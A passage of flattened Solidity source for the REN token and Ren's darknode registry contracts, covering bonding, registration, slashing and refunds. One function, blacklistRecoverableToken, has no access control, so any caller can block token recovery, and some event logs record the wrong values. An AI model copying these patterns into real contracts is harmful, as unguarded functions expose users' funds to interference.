/// @notice Calls transferFrom on the token, returning the value transferred
/// after fees.
function safeTransferFromWithFees(IERC20 token, address from, address to, uint256 value) internal returns (uint256) {
uint256 balancesBefore = token.balanceOf(to);
token.safeTransferFrom(from, to, value);
uint256 balancesAfter = token.balanceOf(to);
return Math.min(value, balancesAfter.sub(balancesBefore));
}
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(_msgSender());
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @title Pausable token
* @dev ERC20 with pausable transfers and allowances.
*
* Useful if you want to stop trades until the end of a crowdsale, or have
* an emergency switch for freezing all token transfers in the event of a large
* bug.
*/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract RenToken is Ownable, ERC20Detailed, ERC20Pausable, ERC20Burnable {
string private constant _name = "Republic Token";
string private constant _symbol = "REN";
uint8 private constant _decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(_decimals);
/// @notice The RenToken Constructor.
constructor() ERC20Burnable() ERC20Pausable() ERC20Detailed(_name, _symbol, _decimals) public {
_mint(msg.sender, INITIAL_SUPPLY);
}
function transferTokens(address beneficiary, uint256 amount) public onlyOwner returns (bool) {
// Note: The deployed version has no revert reason
/* solium-disable-next-line error-reason */
require(amount > 0);
_transfer(msg.sender, beneficiary, amount);
emit Transfer(msg.sender, beneficiary, amount);
return true;
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(_msgSender() == pendingOwner, "Claimable: caller is not the pending owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(pendingOwner);
delete pendingOwner;
}
}
/**
* @notice LinkedList is a library for a circular double linked list.
*/
library LinkedList {
/*
* @notice A permanent NULL node (0x0) in the circular double linked list.
* NULL.next is the head, and NULL.previous is the tail.
*/
address public constant NULL = address(0);
/**
* @notice A node points to the node before it, and the node after it. If
* node.previous = NULL, then the node is the head of the list. If
* node.next = NULL, then the node is the tail of the list.
*/
struct Node {
bool inList;
address previous;
address next;
}
/**
* @notice LinkedList uses a mapping from address to nodes. Each address
* uniquely identifies a node, and in this way they are used like pointers.
*/
struct List {
mapping (address => Node) list;
}
/**
* @notice Insert a new node before an existing node.
*
* @param self The list being used.
* @param target The existing node in the list.
* @param newNode The next node to insert before the target.
*/
function insertBefore(List storage self, address target, address newNode) internal {
require(!isInList(self, newNode), "LinkedList: already in list");
require(isInList(self, target) || target == NULL, "LinkedList: not in list");
// It is expected that this value is sometimes NULL.
address prev = self.list[target].previous;
self.list[newNode].next = target;
self.list[newNode].previous = prev;
self.list[target].previous = newNode;
self.list[prev].next = newNode;
self.list[newNode].inList = true;
}
/**
* @notice Insert a new node after an existing node.
*
* @param self The list being used.
* @param target The existing node in the list.
* @param newNode The next node to insert after the target.
*/
function insertAfter(List storage self, address target, address newNode) internal {
require(!isInList(self, newNode), "LinkedList: already in list");
require(isInList(self, target) || target == NULL, "LinkedList: not in list");
// It is expected that this value is sometimes NULL.
address n = self.list[target].next;
self.list[newNode].previous = target;
self.list[newNode].next = n;
self.list[target].next = newNode;
self.list[n].previous = newNode;
self.list[newNode].inList = true;
}
/**
* @notice Remove a node from the list, and fix the previous and next
* pointers that are pointing to the removed node. Removing anode that is not
* in the list will do nothing.
*
* @param self The list being using.
* @param node The node in the list to be removed.
*/
function remove(List storage self, address node) internal {
require(isInList(self, node), "LinkedList: not in list");
if (node == NULL) {
return;
}
address p = self.list[node].previous;
address n = self.list[node].next;
self.list[p].next = n;
self.list[n].previous = p;
// Deleting the node should set this value to false, but we set it here for
// explicitness.
self.list[node].inList = false;
delete self.list[node];
}
/**
* @notice Insert a node at the beginning of the list.
*
* @param self The list being used.
* @param node The node to insert at the beginning of the list.
*/
function prepend(List storage self, address node) internal {
// isInList(node) is checked in insertBefore
insertBefore(self, begin(self), node);
}
/**
* @notice Insert a node at the end of the list.
*
* @param self The list being used.
* @param node The node to insert at the end of the list.
*/
function append(List storage self, address node) internal {
// isInList(node) is checked in insertBefore
insertAfter(self, end(self), node);
}
function swap(List storage self, address left, address right) internal {
// isInList(left) and isInList(right) are checked in remove
address previousRight = self.list[right].previous;
remove(self, right);
insertAfter(self, left, right);
remove(self, left);
insertAfter(self, previousRight, left);
}
function isInList(List storage self, address node) internal view returns (bool) {
return self.list[node].inList;
}
/**
* @notice Get the node at the beginning of a double linked list.
*
* @param self The list being used.
*
* @return A address identifying the node at the beginning of the double
* linked list.
*/
function begin(List storage self) internal view returns (address) {
return self.list[NULL].next;
}
/**
* @notice Get the node at the end of a double linked list.
*
* @param self The list being used.
*
* @return A address identifying the node at the end of the double linked
* list.
*/
function end(List storage self) internal view returns (address) {
return self.list[NULL].previous;
}
function next(List storage self, address node) internal view returns (address) {
require(isInList(self, node), "LinkedList: not in list");
return self.list[node].next;
}
function previous(List storage self, address node) internal view returns (address) {
require(isInList(self, node), "LinkedList: not in list");
return self.list[node].previous;
}
}
contract CanReclaimTokens is Ownable {
mapping(address => bool) private recoverableTokensBlacklist;
function blacklistRecoverableToken(address _token) public {
recoverableTokensBlacklist[_token] = true;
}
/// @notice Allow the owner of the contract to recover funds accidentally
/// sent to the contract. To withdraw ETH, the token should be set to `0x0`.
function recoverTokens(address _token) external onlyOwner {
require(!recoverableTokensBlacklist[_token], "CanReclaimTokens: token is not recoverable");
if (_token == address(0x0)) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(_token).transfer(msg.sender, ERC20(_token).balanceOf(address(this)));
}
}
}
/// @notice This contract stores data and funds for the DarknodeRegistry
/// contract. The data / fund logic and storage have been separated to improve
/// upgradability.
contract DarknodeRegistryStore is Claimable, CanReclaimTokens {
using SafeMath for uint256;
string public VERSION; // Passed in as a constructor parameter.
/// @notice Darknodes are stored in the darknode struct. The owner is the
/// address that registered the darknode, the bond is the amount of REN that
/// was transferred during registration, and the public key is the
/// encryption key that should be used when sending sensitive information to
/// the darknode.
struct Darknode {
// The owner of a Darknode is the address that called the register
// function. The owner is the only address that is allowed to
// deregister the Darknode, unless the Darknode is slashed for
// malicious behavior.
address payable owner;
// The bond is the amount of REN submitted as a bond by the Darknode.
// This amount is reduced when the Darknode is slashed for malicious
// behavior.
uint256 bond;
// The block number at which the Darknode is considered registered.
uint256 registeredAt;
// The block number at which the Darknode is considered deregistered.
uint256 deregisteredAt;
// The public key used by this Darknode for encrypting sensitive data
// off chain. It is assumed that the Darknode has access to the
// respective private key, and that there is an agreement on the format
// of the public key.
bytes publicKey;
}
/// Registry data.
mapping(address => Darknode) private darknodeRegistry;
LinkedList.List private darknodes;
// RenToken.
RenToken public ren;
/// @notice The contract constructor.
///
/// @param _VERSION A string defining the contract version.
/// @param _ren The address of the RenToken contract.
constructor(
string memory _VERSION,
RenToken _ren
) public {
VERSION = _VERSION;
ren = _ren;
blacklistRecoverableToken(address(ren));
}
/// @notice Instantiates a darknode and appends it to the darknodes
/// linked-list.
///
/// @param _darknodeID The darknode's ID.
/// @param _darknodeOwner The darknode's owner's address
/// @param _bond The darknode's bond value
/// @param _publicKey The darknode's public key
/// @param _registeredAt The time stamp when the darknode is registered.
/// @param _deregisteredAt The time stamp when the darknode is deregistered.
function appendDarknode(
address _darknodeID,
address payable _darknodeOwner,
uint256 _bond,
bytes calldata _publicKey,
uint256 _registeredAt,
uint256 _deregisteredAt
) external onlyOwner {
Darknode memory darknode = Darknode({
owner: _darknodeOwner,
bond: _bond,
publicKey: _publicKey,
registeredAt: _registeredAt,
deregisteredAt: _deregisteredAt
});
darknodeRegistry[_darknodeID] = darknode;
LinkedList.append(darknodes, _darknodeID);
}
/// @notice Returns the address of the first darknode in the store
function begin() external view onlyOwner returns(address) {
return LinkedList.begin(darknodes);
}
/// @notice Returns the address of the next darknode in the store after the
/// given address.
function next(address darknodeID) external view onlyOwner returns(address) {
return LinkedList.next(darknodes, darknodeID);
}
/// @notice Removes a darknode from the store and transfers its bond to the
/// owner of this contract.
function removeDarknode(address darknodeID) external onlyOwner {
uint256 bond = darknodeRegistry[darknodeID].bond;
delete darknodeRegistry[darknodeID];
LinkedList.remove(darknodes, darknodeID);
require(ren.transfer(owner(), bond), "DarknodeRegistryStore: bond transfer failed");
}
/// @notice Updates the bond of a darknode. The new bond must be smaller
/// than the previous bond of the darknode.
function updateDarknodeBond(address darknodeID, uint256 decreasedBond) external onlyOwner {
uint256 previousBond = darknodeRegistry[darknodeID].bond;
require(decreasedBond < previousBond, "DarknodeRegistryStore: bond not decreased");
darknodeRegistry[darknodeID].bond = decreasedBond;
require(ren.transfer(owner(), previousBond.sub(decreasedBond)), "DarknodeRegistryStore: bond transfer failed");
}
/// @notice Updates the deregistration timestamp of a darknode.
function updateDarknodeDeregisteredAt(address darknodeID, uint256 deregisteredAt) external onlyOwner {
darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt;
}
/// @notice Returns the owner of a given darknode.
function darknodeOwner(address darknodeID) external view onlyOwner returns (address payable) {
return darknodeRegistry[darknodeID].owner;
}
/// @notice Returns the bond of a given darknode.
function darknodeBond(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].bond;
}
/// @notice Returns the registration time of a given darknode.
function darknodeRegisteredAt(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].registeredAt;
}
/// @notice Returns the deregistration time of a given darknode.
function darknodeDeregisteredAt(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].deregisteredAt;
}
/// @notice Returns the encryption public key of a given darknode.
function darknodePublicKey(address darknodeID) external view onlyOwner returns (bytes memory) {
return darknodeRegistry[darknodeID].publicKey;
}
}
interface IDarknodePaymentStore {
}
interface IDarknodePayment {
function changeCycle() external returns (uint256);
function store() external returns (IDarknodePaymentStore);
}
interface IDarknodeSlasher {
}
/// @notice DarknodeRegistry is responsible for the registration and
/// deregistration of Darknodes.
contract DarknodeRegistry is Claimable, CanReclaimTokens {
using SafeMath for uint256;
string public VERSION; // Passed in as a constructor parameter.
/// @notice Darknode pods are shuffled after a fixed number of blocks.
/// An Epoch stores an epoch hash used as an (insecure) RNG seed, and the
/// blocknumber which restricts when the next epoch can be called.
struct Epoch {
uint256 epochhash;
uint256 blocktime;
}
uint256 public numDarknodes;
uint256 public numDarknodesNextEpoch;
uint256 public numDarknodesPreviousEpoch;
/// Variables used to parameterize behavior.
uint256 public minimumBond;
uint256 public minimumPodSize;
uint256 public minimumEpochInterval;
/// When one of the above variables is modified, it is only updated when the
/// next epoch is called. These variables store the values for the next epoch.
uint256 public nextMinimumBond;
uint256 public nextMinimumPodSize;
uint256 public nextMinimumEpochInterval;
/// The current and previous epoch
Epoch public currentEpoch;
Epoch public previousEpoch;
/// Republic ERC20 token contract used to transfer bonds.
RenToken public ren;
/// Darknode Registry Store is the storage contract for darknodes.
DarknodeRegistryStore public store;
/// The Darknode Payment contract for changing cycle
IDarknodePayment public darknodePayment;
/// Darknode Slasher allows darknodes to vote on bond slashing.
IDarknodeSlasher public slasher;
IDarknodeSlasher public nextSlasher;
/// @notice Emitted when a darknode is registered.
/// @param _operator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was registered.
/// @param _bond The amount of REN that was transferred as bond.
event LogDarknodeRegistered(address indexed _operator, address indexed _darknodeID, uint256 _bond);
/// @notice Emitted when a darknode is deregistered.
/// @param _operator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was deregistered.
event LogDarknodeDeregistered(address indexed _operator, address indexed _darknodeID);
/// @notice Emitted when a refund has been made.
/// @param _operator The owner of the darknode.
/// @param _amount The amount of REN that was refunded.
event LogDarknodeOwnerRefunded(address indexed _operator, uint256 _amount);
/// @notice Emitted when a darknode's bond is slashed.
/// @param _operator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was slashed.
/// @param _challenger The address of the account that submitted the challenge.
/// @param _percentage The total percentage of bond slashed.
event LogDarknodeSlashed(address indexed _operator, address indexed _darknodeID, address indexed _challenger, uint256 _percentage);
/// @notice Emitted when a new epoch has begun.
event LogNewEpoch(uint256 indexed epochhash);
/// @notice Emitted when a constructor parameter has been updated.
event LogMinimumBondUpdated(uint256 _previousMinimumBond, uint256 _nextMinimumBond);
event LogMinimumPodSizeUpdated(uint256 _previousMinimumPodSize, uint256 _nextMinimumPodSize);
event LogMinimumEpochIntervalUpdated(uint256 _previousMinimumEpochInterval, uint256 _nextMinimumEpochInterval);
event LogSlasherUpdated(address _previousSlasher, address _nextSlasher);
event LogDarknodePaymentUpdated(IDarknodePayment _previousDarknodePayment, IDarknodePayment _nextDarknodePayment);
/// @notice Restrict a function to the owner that registered the darknode.
modifier onlyDarknodeOwner(address _darknodeID) {
require(store.darknodeOwner(_darknodeID) == msg.sender, "DarknodeRegistry: must be darknode owner");
_;
}
/// @notice Restrict a function to unregistered darknodes.
modifier onlyRefunded(address _darknodeID) {
require(isRefunded(_darknodeID), "DarknodeRegistry: must be refunded or never registered");
_;
}
/// @notice Restrict a function to refundable darknodes.
modifier onlyRefundable(address _darknodeID) {
require(isRefundable(_darknodeID), "DarknodeRegistry: must be deregistered for at least one epoch");
_;
}
/// @notice Restrict a function to registered nodes without a pending
/// deregistration.
modifier onlyDeregisterable(address _darknodeID) {
require(isDeregisterable(_darknodeID), "DarknodeRegistry: must be deregisterable");
_;
}
/// @notice Restrict a function to the Slasher contract.
modifier onlySlasher() {
require(address(slasher) == msg.sender, "DarknodeRegistry: must be slasher");
_;
}
/// @notice The contract constructor.
///
/// @param _VERSION A string defining the contract version.
/// @param _renAddress The address of the RenToken contract.
/// @param _storeAddress The address of the DarknodeRegistryStore contract.
/// @param _minimumBond The minimum bond amount that can be submitted by a
/// Darknode.
/// @param _minimumPodSize The minimum size of a Darknode pod.
/// @param _minimumEpochIntervalSeconds The minimum number of seconds between epochs.
constructor(
string memory _VERSION,
RenToken _renAddress,
DarknodeRegistryStore _storeAddress,
uint256 _minimumBond,
uint256 _minimumPodSize,
uint256 _minimumEpochIntervalSeconds
) public {
VERSION = _VERSION;
store = _storeAddress;
ren = _renAddress;
minimumBond = _minimumBond;
nextMinimumBond = minimumBond;
minimumPodSize = _minimumPodSize;
nextMinimumPodSize = minimumPodSize;
minimumEpochInterval = _minimumEpochIntervalSeconds;
nextMinimumEpochInterval = minimumEpochInterval;
currentEpoch = Epoch({
epochhash: uint256(blockhash(block.number - 1)),
blocktime: block.timestamp
});
numDarknodes = 0;
numDarknodesNextEpoch = 0;
numDarknodesPreviousEpoch = 0;
}
/// @notice Register a darknode and transfer the bond to this contract.
/// Before registering, the bond transfer must be approved in the REN
/// contract. The caller must provide a public encryption key for the
/// darknode. The darknode will remain pending registration until the next
/// epoch. Only after this period can the darknode be deregistered. The
/// caller of this method will be stored as the owner of the darknode.
///
/// @param _darknodeID The darknode ID that will be registered.
/// @param _publicKey The public key of the darknode. It is stored to allow
/// other darknodes and traders to encrypt messages to the trader.
function register(address _darknodeID, bytes calldata _publicKey) external onlyRefunded(_darknodeID) {
// Use the current minimum bond as the darknode's bond.
uint256 bond = minimumBond;
// Transfer bond to store
require(ren.transferFrom(msg.sender, address(store), bond), "DarknodeRegistry: bond transfer failed");
// Flag this darknode for registration
store.appendDarknode(
_darknodeID,
msg.sender,
bond,
_publicKey,
currentEpoch.blocktime.add(minimumEpochInterval),
0
);
numDarknodesNextEpoch = numDarknodesNextEpoch.add(1);
// Emit an event.
emit LogDarknodeRegistered(msg.sender, _darknodeID, bond);
}
/// @notice Deregister a darknode. The darknode will not be deregistered
/// until the end of the epoch. After another epoch, the bond can be
/// refunded by calling the refund method.
/// @param _darknodeID The darknode ID that will be deregistered. The caller
/// of this method store.darknodeRegisteredAt(_darknodeID) must be
// the owner of this darknode.
function deregister(address _darknodeID) external onlyDeregisterable(_darknodeID) onlyDarknodeOwner(_darknodeID) {
deregisterDarknode(_darknodeID);
}
/// @notice Progress the epoch if it is possible to do so. This captures
/// the current timestamp and current blockhash and overrides the current
/// epoch.
function epoch() external {
if (previousEpoch.blocktime == 0) {
// The first epoch must be called by the owner of the contract
require(msg.sender == owner(), "DarknodeRegistry: not authorized (first epochs)");
}
// Require that the epoch interval has passed
require(block.timestamp >= currentEpoch.blocktime.add(minimumEpochInterval), "DarknodeRegistry: epoch interval has not passed");
uint256 epochhash = uint256(blockhash(block.number - 1));
// Update the epoch hash and timestamp
previousEpoch = currentEpoch;
currentEpoch = Epoch({
epochhash: epochhash,
blocktime: block.timestamp
});
// Update the registry information
numDarknodesPreviousEpoch = numDarknodes;
numDarknodes = numDarknodesNextEpoch;
// If any update functions have been called, update the values now
if (nextMinimumBond != minimumBond) {
minimumBond = nextMinimumBond;
emit LogMinimumBondUpdated(minimumBond, nextMinimumBond);
}
if (nextMinimumPodSize != minimumPodSize) {
minimumPodSize = nextMinimumPodSize;
emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize);
}
if (nextMinimumEpochInterval != minimumEpochInterval) {
minimumEpochInterval = nextMinimumEpochInterval;
emit LogMinimumEpochIntervalUpdated(minimumEpochInterval, nextMinimumEpochInterval);
}
if (nextSlasher != slasher) {
slasher = nextSlasher;
emit LogSlasherUpdated(address(slasher), address(nextSlasher));
}
if (address(darknodePayment) != address(0x0)) {
darknodePayment.changeCycle();
}
// Emit an event
emit LogNewEpoch(epochhash);
}
/// @notice Allows the contract owner to initiate an ownership transfer of
/// the DarknodeRegistryStore.
/// @param _newOwner The address to transfer the ownership to.
function transferStoreOwnership(DarknodeRegistry _newOwner) external onlyOwner {
store.transferOwnership(address(_newOwner));
_newOwner.claimStoreOwnership();
}
/// @notice Claims ownership of the store passed in to the constructor.
/// `transferStoreOwnership` must have previously been called when
/// transferring from another Darknode Registry.
function claimStoreOwnership() external {
store.claimOwnership();
}
/// @notice Allows the contract owner to update the address of the
/// darknode payment contract.
/// @param _darknodePayment The address of the Darknode Payment
/// contract.
function updateDarknodePayment(IDarknodePayment _darknodePayment) external onlyOwner {
require(address(_darknodePayment) != address(0x0), "DarknodeRegistry: invalid Darknode Payment address");
IDarknodePayment previousDarknodePayment = darknodePayment;
darknodePayment = _darknodePayment;
emit LogDarknodePaymentUpdated(previousDarknodePayment, darknodePayment);
}
/// @notice Allows the contract owner to update the minimum bond.
/// @param _nextMinimumBond The minimum bond amount that can be submitted by
/// a darknode.
function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner {
// Will be updated next epoch
nextMinimumBond = _nextMinimumBond;
}
/// @notice Allows the contract owner to update the minimum pod size.
/// @param _nextMinimumPodSize The minimum size of a pod.
function updateMinimumPodSize(uint256 _nextMinimumPodSize) external onlyOwner {
// Will be updated next epoch
nextMinimumPodSize = _nextMinimumPodSize;
}
/// @notice Allows the contract owner to update the minimum epoch interval.
/// @param _nextMinimumEpochInterval The minimum number of blocks between epochs.
function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval) external onlyOwner {
// Will be updated next epoch
nextMinimumEpochInterval = _nextMinimumEpochInterval;
}
/// @notice Allow the contract owner to update the DarknodeSlasher contract
/// address.
/// @param _slasher The new slasher address.
function updateSlasher(IDarknodeSlasher _slasher) external onlyOwner {
require(address(_slasher) != address(0), "DarknodeRegistry: invalid slasher address");
nextSlasher = _slasher;
}
/// @notice Allow the DarknodeSlasher contract to slash a portion of darknode's
/// bond and deregister it.
/// @param _guilty The guilty prover whose bond is being slashed.
/// @param _challenger The challenger who should receive a portion of the bond as reward.
/// @param _percentage The total percentage of bond to be slashed.
function slash(address _guilty, address _challenger, uint256 _percentage)
external
onlySlasher
{
require(_percentage <= 100, "DarknodeRegistry: invalid percent");
// If the darknode has not been deregistered then deregister it
if (isDeregisterable(_guilty)) {
deregisterDarknode(_guilty);
}
uint256 totalBond = store.darknodeBond(_guilty);
uint256 penalty = totalBond.div(100).mul(_percentage);
uint256 reward = penalty.div(2);
if (reward > 0) {
// Slash the bond of the failed prover
store.updateDarknodeBond(_guilty, totalBond.sub(penalty));
// Distribute the remaining bond into the darknode payment reward pool
require(address(darknodePayment) != address(0x0), "DarknodeRegistry: invalid payment address");
require(ren.transfer(address(darknodePayment.store()), reward), "DarknodeRegistry: reward transfer failed");
require(ren.transfer(_challenger, reward), "DarknodeRegistry: reward transfer failed");
}
emit LogDarknodeSlashed(store.darknodeOwner(_guilty), _guilty, _challenger, _percentage);
}
/// @notice Refund the bond of a deregistered darknode. This will make the
/// darknode available for registration again. Anyone can call this function
/// but the bond will always be refunded to the darknode owner.
///
/// @param _darknodeID The darknode ID that will be refunded. The caller
/// of this method must be the owner of this darknode.
function refund(address _darknodeID) external onlyRefundable(_darknodeID) {
address darknodeOwner = store.darknodeOwner(_darknodeID);
// Remember the bond amount
uint256 amount = store.darknodeBond(_darknodeID);
// Erase the darknode from the registry
store.removeDarknode(_darknodeID);
// Refund the owner by transferring REN
require(ren.transfer(darknodeOwner, amount), "DarknodeRegistry: bond transfer failed");
// Emit an event.
emit LogDarknodeOwnerRefunded(darknodeOwner, amount);
}
/// @notice Retrieves the address of the account that registered a darknode.
/// @param _darknodeID The ID of the darknode to retrieve the owner for.
function getDarknodeOwner(address _darknodeID) external view returns (address payable) {
return store.darknodeOwner(_darknodeID);
}
/// @notice Retrieves the bond amount of a darknode in 10^-18 REN.
/// @param _darknodeID The ID of the darknode to retrieve the bond for.
function getDarknodeBond(address _darknodeID) external view returns (uint256) {
return store.darknodeBond(_darknodeID);
}
/// @notice Retrieves the encryption public key of the darknode.
/// @param _darknodeID The ID of the darknode to retrieve the public key for.
function getDarknodePublicKey(address _darknodeID) external view returns (bytes memory) {
return store.darknodePublicKey(_darknodeID);
}
/// @notice Retrieves a list of darknodes which are registered for the
/// current epoch.
/// @param _start A darknode ID used as an offset for the list. If _start is
/// 0x0, the first dark node will be used. _start won't be
/// included it is not registered for the epoch.
/// @param _count The number of darknodes to retrieve starting from _start.
/// If _count is 0, all of the darknodes from _start are
/// retrieved. If _count is more than the remaining number of
/// registered darknodes, the rest of the list will contain
/// 0x0s.
function getDarknodes(address _start, uint256 _count) external view returns (address[] memory) {
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
return getDarknodesFromEpochs(_start, count, false);
}
/// @notice Retrieves a list of darknodes which were registered for the
/// previous epoch. See `getDarknodes` for the parameter documentation.
function getPreviousDarknodes(address _start, uint256 _count) external view returns (address[] memory) {
uint256 count = _count;
if (count == 0) {
count = numDarknodesPreviousEpoch;
}
return getDarknodesFromEpochs(_start, count, true);
}
/// @notice Returns whether a darknode is scheduled to become registered
/// at next epoch.
/// @param _darknodeID The ID of the darknode to return
function isPendingRegistration(address _darknodeID) external view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
return registeredAt != 0 && registeredAt > currentEpoch.blocktime;
}
/// @notice Returns if a darknode is in the pending deregistered state. In
/// this state a darknode is still considered registered.
function isPendingDeregistration(address _darknodeID) external view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocktime;
}
/// @notice Returns if a darknode is in the deregistered state.
function isDeregistered(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt <= currentEpoch.blocktime;
}
/// @notice Returns if a darknode can be deregistered. This is true if the
/// darknodes is in the registered state and has not attempted to
/// deregister yet.
function isDeregisterable(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
// The Darknode is currently in the registered state and has not been
// transitioned to the pending deregistration, or deregistered, state
return isRegistered(_darknodeID) && deregisteredAt == 0;
}
/// @notice Returns if a darknode is in the refunded state. This is true
/// for darknodes that have never been registered, or darknodes that have
/// been deregistered and refunded.
function isRefunded(address _darknodeID) public view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return registeredAt == 0 && deregisteredAt == 0;
}
/// @notice Returns if a darknode is refundable. This is true for darknodes
/// that have been in the deregistered state for one full epoch.
function isRefundable(address _darknodeID) public view returns (bool) {
return isDeregistered(_darknodeID) && store.darknodeDeregisteredAt(_darknodeID) <= previousEpoch.blocktime;
}
/// @notice Returns if a darknode is in the registered state.
function isRegistered(address _darknodeID) public view returns (bool) {
return isRegisteredInEpoch(_darknodeID, currentEpoch);
}
/// @notice Returns if a darknode was in the registered state last epoch.
function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) {
return isRegisteredInEpoch(_darknodeID, previousEpoch);
}
/// @notice Returns if a darknode was in the registered state for a given
/// epoch.
/// @param _darknodeID The ID of the darknode
/// @param _epoch One of currentEpoch, previousEpoch
function isRegisteredInEpoch(address _darknodeID, Epoch memory _epoch) private view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
bool registered = registeredAt != 0 && registeredAt <= _epoch.blocktime;
bool notDeregistered = deregisteredAt == 0 || deregisteredAt > _epoch.blocktime;
// The Darknode has been registered and has not yet been deregistered,
// although it might be pending deregistration
return registered && notDeregistered;
}
/// @notice Returns a list of darknodes registered for either the current
/// or the previous epoch. See `getDarknodes` for documentation on the
/// parameters `_start` and `_count`.
